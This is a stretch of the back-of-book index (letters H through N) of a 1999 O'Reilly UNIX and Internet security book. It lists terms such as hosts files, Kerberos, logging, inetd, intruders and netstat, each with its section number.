controlling access to : 17.2. Controlling Access to Servers
name service and
16.2.6. Name Service
16.2.6.2. Other naming services
hosts
NID passwords for : 19.3.2.2. Creating passwords for hosts
trusted : (see trusted, hosts)
hosts file : 16.2.3.1. The /etc/hosts file
hosts.equiv file
17.3.18.4. The ~/.rhosts file
17.3.18.6. /etc/hosts.lpd file
24.4.1.5. Changes to the /etc/hosts.equiv file
hosts.lpd file : 17.3.18.6. /etc/hosts.lpd file
HP (Hewlett-Packard) : F.3.4.17. Hewlett-Packard customers
HP-UX
access control lists : 5.2.5.2. HP-UX access control lists
context-dependent files : 5.9.2. Context-Dependent Files
.htaccess file : 18.3.1. The access.conf and .htaccess Files
HTML documents
controlling access to
18.3. Controlling Access to Files on Your Server
18.3.3. Setting Up Web Users and Passwords
encrypting : 18.4.1. Eavesdropping Over the Wire
server-side includes
18.2.2.2. Additional configuration issues
18.3.2. Commands Within the <Directory> Block
htpasswd program : 18.3.3. Setting Up Web Users and Passwords
HTTP (Hypertext Transfer Protocol) : 17.3.9. HyperText Transfer Protocol (HTTP) (TCP Port 80)
and anonymous FTP : 18.2.4.1. Beware mixing HTTP with anonymous FTP
logging downloaded files : 10.3.5. access_log Log File
Secure : (see Secure HTTP)
http server
group file : 18.3.2. Commands Within the <Directory> Block
log files of : 18.4.2. Eavesdropping Through Log Files
password file : 18.3.2. Commands Within the <Directory> Block
httpd.conf file : 18.2.1. The Server's UID
human error and backups : 7.1.4. Guarding Against Media Failure
humidity : 12.2.1.11. Humidity
hypertext links, encrypting : 18.4.1. Eavesdropping Over the Wire
Hypertext Transfer Protocol : (see HTTP)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

I/O : (see input/output)
ICMP (Internet Control Message Protocol) : 16.2.4.1. ICMP
IDEA (International Data Encryption Algorithm)
6.4.1. Summary of Private Key Systems
6.6.3.1. Encrypting files with IDEA
identd daemon : 17.3.12. Identification Protocol (auth) (TCP Port 113)
identification protocol : 17.3.12. Identification Protocol (auth) (TCP Port 113)
identifiers : 3.1. Usernames
IEEE Computer Society : F.1.7. IEEE Computer Society
IFS variable
5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve hole
23.4. Tips on Writing SUID/SGID Programs
attacks via : 11.5.1.2. IFS attacks
ignore (in Swatch command) : 10.6.2. The Swatch Configuration File
immutable files : 9.1.1. Immutable and Append-Only Files
importing NIS accounts
19.4.1. Including or excluding specific accounts:
19.4.4.2. Using netgroups to limit the importing of accounts
in.named daemon : 16.2.6.1. DNS under UNIX
includes : (see server-side includes)
Includes option : 18.3.2. Commands Within the <Directory> Block
IncludesNoExec option : 18.3.2. Commands Within the <Directory> Block
incremental backups : 7.1.3. Types of Backups
indecent material : 26.4.5. Pornography and Indecent Material
index.html file, absence of : 18.2.2.2. Additional configuration issues
inetd daemon
17.1.2. Starting the Servers
17.1.3. The /etc/inetd Program
-nowait option : 25.3.1. Service Overloading
-t (trace) option : 10.3.6. Logging Network Services
denial-of-service attacks : 17.1.3. The /etc/inetd Program
inetd.conf file
11.5.3.2. inetd.conf
17.3. Primary UNIX Network Services
information : (see data)
init program
5.3.2. Common umask Values
C.5.1. Process #1: /etc/init
initialization vector (IV) : 6.4.4.2. DES modes
initializing
environment variables : 11.5.2.7. Other initializations
system, files for : 11.5.3.5. System initialization files
inittab program
14.5.1. Hooking Up a Modem to Your Computer
C.5.1. Process #1: /etc/init
INND program : 17.3.13. Network News Transport Protocol (NNTP) (TCP Port 119)
inodes
5.1. Files
5.1.2. Inodes
change time : (see ctime)
for device files : 5.6. Device Files
problems with : 25.2.2.3. Inode problems
input/output (I/O)
checking for meta characters : 23.2. Tips on Avoiding Security-related Bugs
portable library : 1.3. History of UNIX
insects : 12.2.1.7. Bugs (biological)
installing
cables : 12.2.4.2. Network cables
Kerberos : 19.6.3. Installing Kerberos
logging installations : 10.7.2.1. Exception and activity reports
physical security plan for : 12.1.1. The Physical Security Plan
insurance
26.1. Legal Options After a Break-in
26.2.6. Other Tips
integrity
2.1. Planning Your Security Needs
9. Integrity Management
9.3. A Final Note
11.1.5. Viruses
12.3. Protecting Data
12.3.6. Key Switches
Kerberos : 19.6.1.3. Authentication, data integrity, and secrecy
management checklist : A.1.1.8. Chapter 9: Integrity Management
Secure RPC : 19.3.4. Limitations of Secure RPC
software for checking : 19.5.5. NIS+ Limitations
international cryptography export
6.4.4.1. Use and export of DES
6.7.2. Cryptography and Export Controls
International Data Encryption Algorithm (IDEA)
6.4.1. Summary of Private Key Systems
6.6.3.1. Encrypting files with IDEA
Internet
16.1.1. The Internet
18. WWW Security
(see also World Wide Web)
addresses
16.2.1. Internet Addresses
16.2.1.3. CIDR addresses
daemon : (see inetd daemon)
domain as NIS domain : 19.4.3. NIS Domains
firewalls : (see firewalls)
servers : (see servers, Internet)
Worm program : 1. Introduction
Worm program Worm program : 23.1.1. The Lesson of the Internet Worm
Internet Control Message Protocol (ICMP) : 16.2.4.1. ICMP
Internet Packet Exchange (IPX) : 16.4.1. IPX
Internet Relay Chat (IRC) : 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
Internet Security Scanner (ISS) : 17.6.2. ISS
intruders : 1. Introduction
confronting : 24.2.2. What to Do When You Catch Somebody
creating hidden files : 24.4.1.7. Hidden files and directories
discovering
24.2. Discovering an Intruder
24.2.6. Anatomy of a Break-in
legal options regarding : 26.1. Legal Options After a Break-in
responding to
24. Discovering a Break-in
24.7. Damage Control
tracking from log files : 24.3. The Log Files: Discovering an Intruder's Tracks
ioctl system call : C.1.3.4. Process groups and sessions
IP addresses
controlling access by : 17.2. Controlling Access to Servers
name service and
16.2.6. Name Service
16.2.6.2. Other naming services
restricting access by : 18.3. Controlling Access to Files on Your Server
IP numbers, monitoring : 12.3.1.2. Eavesdropping by Ethernet and 10Base-T
IP packets
16.2. IPv4: The Internet Protocol Version 4
16.2.4. Packets and Protocols
16.2.4.3. UDP
eavesdropping : 16.3.1. Link-level Security
monitoring : 12.3.1.2. Eavesdropping by Ethernet and 10Base-T
sniffing
16.3.1. Link-level Security
17.3.3. TELNET (TCP Port 23)
IP protocols
1.4.3. Add-On Functionality Breeds Problems
16.2.4. Packets and Protocols
16.2.4.3. UDP
IP security
16.3. IP Security
16.3.3. Authentication
IP services : (see network services)
IP spoofing
1.4.3. Add-On Functionality Breeds Problems
16.3. IP Security
IPv4 (IP Version 4)
16.2. IPv4: The Internet Protocol Version 4
16.2.6.2. Other naming services
IPX (Internet Packet Exchange) : 16.4.1. IPX
IRC (Internet Relay Chat) : 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
IRIX wtmpx file : 10.1.2. utmp and wtmp Files
ISS (Internet Security Scanner)
17.6.2. ISS
E.4.4. ISS (Internet Security Scanner)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

Java programming language
11.1.5. Viruses
18.5.1. Executing Code from the Net
Joe accounts
3.6.2. Smoking Joes
8.8.3.1. Joetest: a simple password cracker
Joy, Bill : 1.3. History of UNIX
JP Morgan : F.3.4.18. JP Morgan employees and customers

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

Karn, Phil : 6.6.2. des: The Data Encryption Standard
Kerberos system
8.7.3. Code Books
19.6. Kerberos
19.6.5. Kerberos Limitations
E.4.5. Kerberos
installing : 19.6.3. Installing Kerberos
RPC system and : 19.2.2.4. AUTH_KERB
Versions 4 and 5 : 19.6.1.4. Kerberos 4 vs. Kerberos 5
versus Secure RPC : 19.6.2. Kerberos vs. Secure RPC
kermit program
14.5. Modems and UNIX
14.5.3.3. Privilege testing
kernel
1.2. What Is an Operating System?
5.5.3. SUID Shell Scripts
key
escrow : 6.1.3. Modern Controversy
fingerprints : 6.6.3.6. PGP detached signatures
search
6.2.3. Cryptographic Strength
8.6.1. The crypt() Algorithm
switches : 12.3.6. Key Switches
keylogin program
19.3.3. Using Secure RPC
19.5.4. Using NIS+
keylogout program : 19.3.3. Using Secure RPC
keyserv process
19.3.1.1. Proving your identity
19.3.2.3. Making sure Secure RPC programs are running on every workstation
19.5.4. Using NIS+
keystore file : 19.3.1.1. Proving your identity
keystrokes
monitoring
17.3.21.2. X security
24.2.3. Monitoring the Intruder
monitoring
17.3.21.2. X security
(see also sniffers)
time between : 23.8. Picking a Random Seed
kill command
17.3.4.2. Using sendmail to receive email
24.2.5. Getting Rid of the Intruder
C.4. The kill Command
to stop process overload
25.2.1.1. Too many processes
25.2.1.2. System overload attacks
kinit program : 19.6.4. Using Kerberos
kmem device
5.6. Device Files
11.1.2. Back Doors and Trap Doors
known text attacks : 6.2.3. Cryptographic Strength
Koblas, David : 22.4. SOCKS
Koblas, Michelle : 22.4. SOCKS
ksh (Korn shell)
11.5.1. Shell Features
24.4.1.7. Hidden files and directories
C.5.3. Running the User's Shell
(see also shells)
history file : 10.4.1. Shell History
restricted shell : 8.1.4.3. Restricted Korn shell
TMOUT variable : 12.3.5.1. Built-in shell autologout
umask and : 5.3.1. The umask Command
ksh93 shell
23.2. Tips on Avoiding Security-related Bugs
24.4.1.7. Hidden files and directories
.kshrc file : 11.5.2.2. .cshrc, .kshrc

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

L-devices file : 14.5.1. Hooking Up a Modem to Your Computer
L.cmds file : 15.4.3. L.cmds: Providing Remote Command Execution
L.sys file : 15.3.3. Security of L.sys and Systems Files
Lai, Xuejia : 6.4.1. Summary of Private Key Systems
laid-off employees : 13.2.6. Departure
LaMacchia, Brian : 19.3.4. Limitations of Secure RPC
LANs (local area networks)
16.1. Networking
16.2. IPv4: The Internet Protocol Version 4
laptop computers : 12.2.6.3. Portables
last program
8.4.3. Finding Dormant Accounts
10.1.2. utmp and wtmp Files
10.1.3. last Program
10.1.3.1. Pruning the wtmp file
15.3.1. Assigning Additional UUCP Logins
-f option : 10.1.3.1. Pruning the wtmp file
lastcomm program
10.2. The acct/pacct Process Accounting File
10.2.2. Accounting with BSD
lastlog file : 10.1.1. lastlog File
laws
26. Computer Security and U.S. Law
26.4.7. Harassment, Threatening Communication, and Defamation
backups and : 7.1.7. Legal Issues
checklist for : A.1.1.25. Chapter 26: Computer Security and U.S. Law
copyright
9.2.1. Comparison Copies
26.4.2. Copyright Infringement
26.4.2.1. Software piracy and the SPA
criminal prosecution
26.2. Criminal Prosecution
26.2.7. A Final Note on Criminal Actions
Electronic Communications Privacy Act (ECPA) : 26.2.3. Federal Computer Crime Laws
encryption
6.7. Encryption and U.S. Law
6.7.2. Cryptography and Export Controls
12.2.6.3. Portables
enforcement agencies : 14.4.4.1. Kinds of eavesdropping
export
6.4.4.1. Use and export of DES
6.7.2. Cryptography and Export Controls
26.4.1. Munitions Export
federal enforcement
26.2.2. Federal Jurisdiction
26.2.3. Federal Computer Crime Laws
indecent material : 26.4.5. Pornography and Indecent Material
liability
26.4. Other Liability
26.4.7. Harassment, Threatening Communication, and Defamation
monitoring keystrokes : 24.2.3. Monitoring the Intruder
non-citizen access : 26.4.1. Munitions Export
patents : 26.4.4. Patent Concerns
for portable computers : 12.2.6.3. Portables
resources on : D.1.1. Other Computer References
search warrants
26.2.4. Hazards of Criminal Prosecution
26.2.5. If You or One of Your Employees Is a Target of an Investigation...
smoking : 12.2.1.2. Smoke
state and local enforcement : 26.2.1. The Local Option
trademarks : 26.4.3. Trademark Violations
vendor liability : 18.5.2. Trusting Your Software Vendor
lawsuits (civil) : 26.3. Civil Actions
leased telephone lines : 14.5.4. Physical Protection of Modems
least privilege
5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve hole
13.2.5. Least Privilege and Separation of Duties
Lee, Ying-Da : 22.4. SOCKS
Lesk, Mike
1.3. History of UNIX
15.2. Versions of UUCP
liability, legal
26.4. Other Liability
26.4.7. Harassment, Threatening Communication, and Defamation
/lib directory : 11.5.3.6. Other files
license agreements : 18.5.2. Trusting Your Software Vendor
comparison copies and : 9.2.1. Comparison Copies
lie-detector tests : 13.1. Background Checks
lightning
12.2. Protecting Computer Hardware
12.2.1.9. Lightning
limit command : 25.2.5. Soft Process Limits: Preventing Accidental Denial of Service
Limit command (<Directory>) : 18.3.2. Commands Within the <Directory> Block
limited user access : 8.1.5.1. Limited users
link-level security : 16.3.1. Link-level Security
links
encryption of : 18.4.1. Eavesdropping Over the Wire
link-level security : 16.3.1. Link-level Security
static : 23.4. Tips on Writing SUID/SGID Programs
symbolic, following (Web)
18.2.2.2. Additional configuration issues
18.3.2. Commands Within the <Directory> Block
lint program : 23.2. Tips on Avoiding Security-related Bugs
LINUX operating system
1.3. History of UNIX
3.3. Entering Your Password
23.1.2.1. What they found
ext2 filesystem : 25.2.2.6. Reserved space
random number generators : 23.7.4. Other random number generators
Live Script : 18.5.2. Trusting Your Software Vendor
load shedding : 23.3. Tips on Writing Network Programs
local
area networks (LANs)
16.1. Networking
16.2. IPv4: The Internet Protocol Version 4
authentication (NIS+) : 19.5.4. Using NIS+
law enforcement : 26.2.1. The Local Option
storage
12.3.4. Protecting Local Storage
12.3.4.5. Function keys
users, and USERFILE : 15.4.1.2. USERFILE entries for local users
lock program : 12.3.5.2. X screen savers
locked accounts : 3.3. Entering Your Password
locking files : 23.2. Tips on Avoiding Security-related Bugs
log files
11.5.3.5. System initialization files
(see also logging)
access_log
10.3.5. access_log Log File
18.4.2. Eavesdropping Through Log Files
aculog : 10.3.1. aculog File
agent_log file : 18.4.2. Eavesdropping Through Log Files
backing up : 10.2.2. Accounting with BSD
lastlog : 10.1.1. lastlog File
managing : 10.8. Managing Log Files
manually generated
10.7. Handwritten Logs
10.7.2.2. Informational material
per-machine : 10.7.2. Per-Machine Logs
per-site : 10.7.1. Per-Site Logs
refer_log file : 18.4.2. Eavesdropping Through Log Files
sulog : (see sulog file)
system clock and : 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
tracking intruders with : 24.3. The Log Files: Discovering an Intruder's Tracks
/usr/adm/messages : 10.2.3. messages Log File
utmp and wtmp
10.1.2. utmp and wtmp Files
10.1.3.1. Pruning the wtmp file
uucp : 10.3.4. uucp Log Files
/var/adm/acct : 10.2. The acct/pacct Process Accounting File
/var/adm/loginlog : 10.1.4. loginlog File
of Web servers : 18.4.2. Eavesdropping Through Log Files
xferlog : 10.3.3. xferlog Log File
logdaemon package : 17.3.18.5. Searching for .rhosts files
logger command : 10.5.3. syslog Messages
logging
7.1.1.1. A taxonomy of computer failures
10. Auditing and Logging
10.8. Managing Log Files
11.5.3.5. System initialization files
21.5. Special Considerations
23.2. Tips on Avoiding Security-related Bugs
(see also log files)
across networks : 10.5.2.2. Logging across the network
archiving information : 7.4.2. Simple Archives
breakins : 24.1.2. Rule #2: DOCUMENT
C2 audit : 10.1. The Basic Log Files
checklist for : A.1.1.9. Chapter 10: Auditing and Logging
critical messages
10.5.3. syslog Messages
10.5.3.1. Beware false log entries
downloaded files
10.3.3. xferlog Log File
10.3.5. access_log Log File
failed su attempts : 4.3.7. The Bad su Log
file format : 8.2. Monitoring File Format
files transferred by FTP : 10.3.3. xferlog Log File
to hardcopy device : 10.5.2.1. Logging to a printer
individual users
10.4. Per-User Trails in the Filesystem
10.4.3. Network Setup
manually
10.7. Handwritten Logs
10.7.2.2. Informational material
mistyped passwords : 10.5.3. syslog Messages
network services : 10.3.6. Logging Network Services
outgoing mail : 10.4.2. Mail
potentially criminal activity : 26.2.6. Other Tips
Swatch program
10.6. Swatch: A Log File Tool
10.6.2. The Swatch Configuration File
E.4.9. Swatch
syslog facility
10.5. The UNIX System Log (syslog) Facility
10.5.3.1. Beware false log entries
UUCP : 10.3.4. uucp Log Files
what not to log : 10.5.3. syslog Messages
logging in
C.5. Starting Up UNIX and Logging In
C.5.3. Running the User's Shell
FTP access without : 17.3.2.7. Allowing only FTP access
Kerberos system : 19.6.1.1. Initial login
last program
10.1.3. last Program
10.1.3.1. Pruning the wtmp file
lastlog file : 10.1.1. lastlog File
passwords : 3.3. Entering Your Password
preventing
8.4. Managing Dormant Accounts
8.4.3. Finding Dormant Accounts
restricting : 8.3. Restricting Logins
with Secure RPC : 19.3.3. Using Secure RPC
startup file attacks
11.5.2. Start-up File Attacks
11.5.2.7. Other initializations
logging out with Secure RPC[logging out:Secure RPC] : 19.3.3. Using Secure RPC
logic bombs
11.1. Programmed Threats: Definitions
11.1.3. Logic Bombs
27.2.2. Viruses on the Distribution Disk
.login file
8.5.1. Secure Terminals
11.5.2.1. .login, .profile, /etc/profile
24.4.1.6. Changes to startup files
login program
8.6. The UNIX Encrypted Password System
11.1.2. Back Doors and Trap Doors
19.5.4. Using NIS+
26.2.6. Other Tips
27.1.2. Trusting Trust
logindevperm file : 17.3.21.1. /etc/fbtab and /etc/logindevperm
loginlog file : 10.1.4. loginlog File
logins
authentication : 17.3.5. TACACS (UDP Port 49)
FTP : 17.3.2. (FTP) File Transfer Protocol (TCP Ports 20 and 21)
UUCP, additional : 15.3.1. Assigning Additional UUCP Logins
logins command : 8.1.1. Accounts Without Passwords
-d option : 8.2. Monitoring File Format
-p option : 8.2. Monitoring File Format
LOGNAME= command
15.5.1.3. A Sample Permissions file
15.5.2. Permissions Commands
.logout file : 19.3.3. Using Secure RPC
long distance service
14.5.4. Physical Protection of Modems
17.3.3. TELNET (TCP Port 23)
losses, cost of preventing
2.3. Cost-Benefit Analysis
2.3.4. Convincing Management
lp (user) : 4.1. Users and Groups
lpd system : 17.3.18.6. /etc/hosts.lpd file
lrand48 function : 23.7.3. drand48 ( ), lrand48 ( ), and mrand48 ( )
ls command
5.1.4. Using the ls Command
5.1.5. File Times
9.2.2. Checklists and Metadata
-c option : 5.1.5. File Times
-d option : 9.2.2.1. Simple listing
-e option : 5.2.5.1. AIX Access Control Lists
-F option : 5.1.4. Using the ls Command
-g option : 5.1.4. Using the ls Command
-H option : 5.9.2. Context-Dependent Files
-i option : 9.2.2.1. Simple listing
-l option
5.1.4. Using the ls Command
5.2.5.1. AIX Access Control Lists
5.5.1. SUID, SGID, and Sticky Bits
-q option : 5.4. Using Directory Permissions
-u option : 5.1.5. File Times
-c option : 24.4.1.6. Changes to startup files
-H option : 24.4.1.7. Hidden files and directories
-l option : 24.4.1.6. Changes to startup files
lsacl command : 5.2.5.2. HP-UX access control lists
lsof program : 25.2.2.7. Hidden space
lstat function : 23.2. Tips on Avoiding Security-related Bugs
Lucifer algorithm
6.4.4. DES
6.4.4.3. DES strength
LUCIFER cipher : 6.4.4. DES

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: M

MAC (Mandatory Access Controls) : 4.1.3. Groups and Group Identifiers (GIDs)
MACH operating system : 1.3. History of UNIX
machine name : 16.2.3. Hostnames
MACHINE= command
15.5.1.2. Name-value pairs
15.5.2. Permissions Commands
Macintosh, Web server on : 18.2. Running a Secure Server
macro virus : (see viruses)
magic cookies : 17.3.21.4. Using Xauthority magic cookies
magic number : 5.1.7. File Permissions in Detail
mail
11.5.3.3. /usr/lib/aliases, /etc/aliases, /etc/sendmail/aliases, aliases.dir, or aliases.pag
(see also sendmail)
accepted by programs : 17.3.4.1. sendmail and security
action, in Swatch program : 10.6.2. The Swatch Configuration File
alias back door : 11.1.2. Back Doors and Trap Doors
aliases : (see aliases)
copyrights on : 26.4.2. Copyright Infringement
Electronic Communications Privacy Act (ECPA) : 26.2.3. Federal Computer Crime Laws
firewalls : 21.4.2. Electronic Mail
forwarding (UUCP) : 15.6.1. Mail Forwarding for UUCP
harassment via : 26.4.7. Harassment, Threatening Communication, and Defamation
logging : 10.4.2. Mail
message flooding : 25.3.2. Message Flooding
phantom, monitoring : 17.3.4.2. Using sendmail to receive email
receiving by sendmail : 17.3.4.2. Using sendmail to receive email
sending via CGI scripts : 18.2.3.3. Sending mail
sent directly to file : 15.7. Early Security Problems with UUCP
startup file attacks : 11.5.2.5. .forward, .procmailrc
mail command : 15.1.3. mail Command
Mail_Aliases table (NIS+) : 19.5.3. NIS+ Tables
mailing lists
E.1. Mailing Lists
E.1.3.10. WWW-security
maintenance mode : C.5.1. Process #1: /etc/init
maintenance personnel : 13.3. Outsiders
makedbm program : 19.4.4.1. Setting up netgroups
malware : 11.1. Programmed Threats: Definitions
man pages : 2.5. The Problem with Security Through Obscurity
management, role of
2.3.4. Convincing Management
2.5. The Problem with Security Through Obscurity
MANs (Metropolitan Networks) : 16.1. Networking
manual logging
10.7. Handwritten Logs
10.7.2.2. Informational material
manual pages : 23.2. Tips on Avoiding Security-related Bugs
maps, NIS : (see NIS)
Massey, James L. : 6.4.1. Summary of Private Key Systems
Master mode (uucico) : 15.1.4. How the UUCP Commands Work
master server
19.4. Sun's Network Information Service (NIS)
(see also NIS)
MCERT : F.3.4.21. Motorola, Inc. and subsidiaries
MCI Corporation : F.3.4.19. MCI Corporation
MD2 algorithm : 6.5.4.1. MD2, MD4, and MD5
MD4 algorithm : 6.5.4.1. MD2, MD4, and MD5
MD5 algorithm
6.5.2. Using Message Digests
6.5.4.1. MD2, MD4, and MD5
23.5.1. Use Message Digests for Storing Passwords
23.9. A Good Random Seed Generator
digital signatures versus : 6.6.3.6. PGP detached signatures
in POP : 17.3.10. Post Office Protocol (POP) (TCP Ports 109 and 110)
media : 12.3.3. Other Media
damaged by smoke : 12.2.1.2. Smoke
destroying : 12.3.2.3. Sanitize your media before disposal
failure of : 7.1.4. Guarding Against Media Failure
hard/soft disk quotas : 25.2.2.5. Using quotas
print through process : 12.3.2.1. Verify your backups
rotating for backups : 7.1.3. Types of Backups
rotation of : 7.2.1.2. Media rotation
sanitizing : 12.3.2.3. Sanitize your media before disposal
viruses from : 11.1.5. Viruses
meet-in-the-middle attacks : 6.4.5.1. Double DES
memory
25.2.2. Disk Attacks
25.2.2.8. Tree-structure attacks
hidden space : 25.2.2.7. Hidden space
reserved space : 25.2.2.6. Reserved space
swap space : 25.2.3. Swap Space Problems
/tmp directory and : 25.2.4. /tmp Problems
tree-structure attacks : 25.2.2.8. Tree-structure attacks
Merkle, Ralph : 6.4.5.1. Double DES
Message Authentication Code (MAC) : 6.5.5.2. Message authentication codes
message digests
6.5. Message Digests and Digital Signatures
6.5.2. Using Message Digests
9.2.3. Checksums and Signatures
23.5.1. Use Message Digests for Storing Passwords
Tripwire package
9.2.4. Tripwire
9.2.4.2. Running Tripwire
message flooding : 25.3.2. Message Flooding
messages log file : 10.2.3. messages Log File
meta characters : 23.2. Tips on Avoiding Security-related Bugs
metadata
9.2.2. Checklists and Metadata
9.2.2.2. Ancestor directories
Metropolitan Networks (MANs) : 16.1. Networking
MH (mail handler) : 11.5.2.5. .forward, .procmailrc
Micro-BIT Virus Center : F.3.4.16. Germany: Southern area
Miller, Barton : 23.1.2. An Empirical Study of the Reliability of UNIX Utilities
MILNET : F.3.4.20. MILNET
MIME : 11.1.5. Viruses
MIT-KERBEROS-5 authentication : 17.3.21.3. The xhost facility
Mitnick, Kevin : 27.2.6. Network Providers that Network Too Well
mkpasswd program : 8.8.4. Password Generators
mktemp function : 23.2. Tips on Avoiding Security-related Bugs
MLS (Multilevel Security) environment : "Secure" Versions of UNIX
mobile network computing : 8.7. One-Time Passwords
modems
14. Telephone Security
14.6. Additional Security for Modems
callback setups
14.4.2.
14.6. Additional Security for Modems
clogging : 25.3.4. Clogging
encrypting : 14.6. Additional Security for Modems
hanging up : (see signals)
physical security of
14.5.4. Physical Protection of Modems
14.6. Additional Security for Modems
recording call information : 10.3.1. aculog File
tracing connections
24.2.4. Tracing a Connection
24.2.4.2. How to contact the system administrator of a computer you don't know
UNIX and
14.5. Modems and UNIX
14.5.3.3. Privilege testing
modification times
5.1.2. Inodes
5.1.5. File Times
7.4.7. inode Modification Times
9.2.2. Checklists and Metadata
monitoring
hardware for : (see detectors)
intruders : 24.2.3. Monitoring the Intruder
performance : 13.2.3. Performance Reviews and Monitoring
security : (see logging)
users : 26.2.6. Other Tips
monitors and screen savers : 12.3.5.2. X screen savers
Morris, Robert T.
1. Introduction
8.6. The UNIX Encrypted Password System
17.4. Security Implications of Network Services
motd file : 26.2.6. Other Tips
Motorola, Inc. : F.3.4.20. MILNET
Motorola, Inc. and subsidiaries : F.3.4.21. Motorola, Inc. and subsidiaries
mount command : 20.3. Client-Side NFS Security
-nodev option : 5.5.5. Turning Off SUID and SGID in Mounted Filesystems
-nosuid option : 5.5.5. Turning Off SUID and SGID in Mounted Filesystems
mounted filesystems : 5.5.5. Turning Off SUID and SGID in Mounted Filesystems
mouting filesystem : (see directories)
mrand48 function : 23.7.3. drand48 ( ), lrand48 ( ), and mrand48 ( )
mtime
5.1.2. Inodes
5.1.5. File Times
9.2.2. Checklists and Metadata
24.4.1.6. Changes to startup files
MUDs (Multiuser Dungeons) : 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
Muffet, Alec : 10.5.3.1. Beware false log entries
multicast groups : 16.2.1.2. Classical network addresses
MULTICS (Multiplexed Information and Computing Service) : 1.3. History of UNIX
multilevel security
1.3. History of UNIX
2.4.4.7. Defend in depth
2.5.3. Final Words: Risk Management Means Common Sense
17.2. Controlling Access to Servers
multitasking
1.4. Security and UNIX
C.1.3.3. Process priority and niceness
multiuser operating systems : 1.4. Security and UNIX
multiuser workstations : 17.3.21.1. /etc/fbtab and /etc/logindevperm
munitions export : 26.4.1. Munitions Export
MX record type : 17.3.6. Domain Name System (DNS) (TCP and UDP Port 53)
MYNAME= command : 15.5.2. Permissions Commands

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

name service
16.2.6. Name Service
16.2.6.2. Other naming services
security and : 16.3.2. Security and Nameservice
name-value pairs in BNU UUCP : 15.5.1.2. Name-value pairs
named daemon : 16.2.6.1. DNS under UNIX
named nameserver : 17.3.6.2. DNS nameserver attacks
named-xfer program : 16.2.6.1. DNS under UNIX
named.boot file
17.3.6.1. DNS zone transfers
17.3.6.2. DNS nameserver attacks
names
choosing UUCP : 15.5.2. Permissions Commands
computer
16.2.3. Hostnames
16.2.3.1. The /etc/hosts file
user : (see usernames)
nameserver attacks, DNS : 17.3.6.2. DNS nameserver attacks
nameserver cache loading : 16.3.2. Security and Nameservice
NASA
Ames Research Center : F.3.4.22. NASA: Ames Research Center
NASA: Goddard Space Flight Center : F.3.4.23. NASA: Goddard Space Flight Center
National Aeronautical Space Agency : (see NASA)
National Computer Security Center (NCSC) : F.2.1. National Institute of Standards and Technology (NIST)
National Institute of Standards and Technology : (see NIST)
National Science Foundation Network : (see networks, NFSNET)
national security : 26.2.2. Federal Jurisdiction
natural disasters
1.1. What Is Computer Security?
7.1.1.1. A taxonomy of computer failures
7.1.6.1. Physical security for backups
12.2.1.1. Fire
(see also physical security)
accidents : 12.2.2. Preventing Accidents
earthquakes : 12.2.1.4. Earthquake
fires
12.2.1.1. Fire
12.2.1.2. Smoke
lightning
12.2. Protecting Computer Hardware
12.2.1.9. Lightning
natural gas : 12.2.1.5. Explosion
Naval Computer Incident Response Team (NAVCIRT) : F.3.4.44. U.S. Department of the Navy
ncheck command : 5.5.4.1. The ncheck command
-s option
5.5.4.1. The ncheck command
5.6. Device Files
NCSA HTTPD server : 10.3.5. access_log Log File
NCSA server : (see Web servers)
NCSC (National Computer Security Center) : F.2.1. National Institute of Standards and Technology (NIST)
needexpnhelo (sendmail) : 17.3.4.3. Improving the security of Berkeley sendmail V8
needmailhelo (sendmail) : 17.3.4.3. Improving the security of Berkeley sendmail V8
needvrfyhelo (sendmail) : 17.3.4.3. Improving the security of Berkeley sendmail V8
nested directories : 25.2.2.8. Tree-structure attacks
Netgroup table (NIS+) : 19.5.3. NIS+ Tables
netgroups, NIS
19.4.4. NIS Netgroups
19.4.4.6. NIS is confused about "+"
limiting imported accounts : 19.4.4.2. Using netgroups to limit the importing of accounts
NetInfo
3.2.2. The /etc/passwd File and Network Databases
16.2.6.2. Other naming services
Netmasks table (NIS+) : 19.5.3. NIS+ Tables
netnews~firewalls : 21.4.3. Netnews
.netrc file : 10.4.3. Network Setup
Netscape Navigator
encryption system of : 18.4.1. Eavesdropping Over the Wire
random number generator : 23.8. Picking a Random Seed
netstat command
17.5. Monitoring Your Network with netstat
24.2.1. Catching One in the Act
24.2.4. Tracing a Connection
-a option : 17.5. Monitoring Your Network with netstat
